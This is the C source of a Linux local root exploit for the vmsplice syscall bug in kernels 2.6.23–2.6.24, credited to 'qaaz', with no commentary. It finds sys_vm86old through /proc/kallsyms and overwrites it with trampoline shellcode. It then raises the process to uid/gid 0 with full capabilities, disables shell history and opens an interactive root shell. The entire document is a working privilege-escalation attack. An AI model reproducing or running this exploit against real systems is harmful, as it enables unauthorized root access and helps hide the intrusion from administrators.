Linux vmsplice Local Root Exploit

/*
* diane_lane_fucked_hard.c
*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.23 - 2.6.24
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/uio.h>

#define TARGET_PATTERN " sys_vm86old"
#define TARGET_SYSCALL 113

#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif

#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#define gimmeroot() syscall(TARGET_SYSCALL, 31337, kernel_code, 1, 2, 3, 4)

#define TRAMP_CODE (void *) trampoline
#define TRAMP_SIZE ( sizeof(trampoline) - 1 )

unsigned char trampoline[] =
"\x8b\x5c\x24\x04" /* mov 0x4(%esp),%ebx */
"\x8b\x4c\x24\x08" /* mov 0x8(%esp),%ecx */
"\x81\xfb\x69\x7a\x00\x00" /* cmp $31337,%ebx */
"\x75\x02" /* jne +2 */
"\xff\xd1" /* call *%ecx */
"\xb8\xea\xff\xff\xff" /* mov $-EINVAL,%eax */
"\xc3" /* ret */
;

void die(char *msg, int err)
{
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}

long get_target()
{
FILE *f;
long addr = 0;
char line[128];

f = fopen("/proc/kallsyms", "r");
if (!f) die("/proc/kallsyms", errno);

while (fgets(line, sizeof(line), f)) {
if (strstr(line, TARGET_PATTERN)) {
addr = strtoul(line, NULL, 16);
break;
}
}

fclose(f);
return addr;
}

static inline __attribute__((always_inline))
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}

static uint uid, gid;

void kernel_code()
{
int i;
uint *p = get_current();

for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
}

int main(int argc, char *argv[])
{
int pi[2];
long addr;
struct iovec iov;

uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);

printf("-----------------------------------\n");
printf(" Linux vmsplice Local Root Exploit\n");
printf(" By qaaz\n");
printf("-----------------------------------\n");

if (!uid || !gid)
die("!@#$", 0);

addr = get_target();
printf("[+] addr: 0x%lx\n", addr);

if (pipe(pi) < 0)
die("pipe", errno);

iov.iov_base = (void *) addr;
iov.iov_len = TRAMP_SIZE;

write(pi[1], TRAMP_CODE, TRAMP_SIZE);
_vmsplice(pi[0], &iov, 1, 0);

gimmeroot();

if (getuid() != 0)
die("wtf", 0);

printf("[+] root\n");
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL);
die("/bin/bash", errno);
return 0;
}